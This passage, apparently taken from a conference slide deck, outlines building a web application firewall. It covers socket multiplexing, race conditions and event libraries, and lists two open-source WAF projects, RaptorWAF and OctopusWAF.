  • 25. Create your WAF ● Study five years around sockets and raw sockets ● Demultiplexer problems (select(), epoll(), kqueue(), pthreads(), MPI…) ● Race conditions ● Testing a lot list of libraries libuv(used by node) libevent(old lib for core of nginx) Python Twisted
  • 26. Create your WAF ● WAF from the scratch RaptorWAF ● Demultiplexer use select() with pthreads ● Have a problem, race conditions in millions connections(lock with mutex cannot save). ● Easy to understand ● Github.com/CoolerVoid/RaptorWAF
  • 27. Create your WAF ● Pthread tests ● Libevent study ● Lighthttpd core study ● The big travel...
  • 28. Create your WAF ● OctopusWAF ● Uses LibEvent ● Have support to heavy connections ● Uses lib Injection to detect SQLi ● Github.com/CoolerVoid/OctopusWAF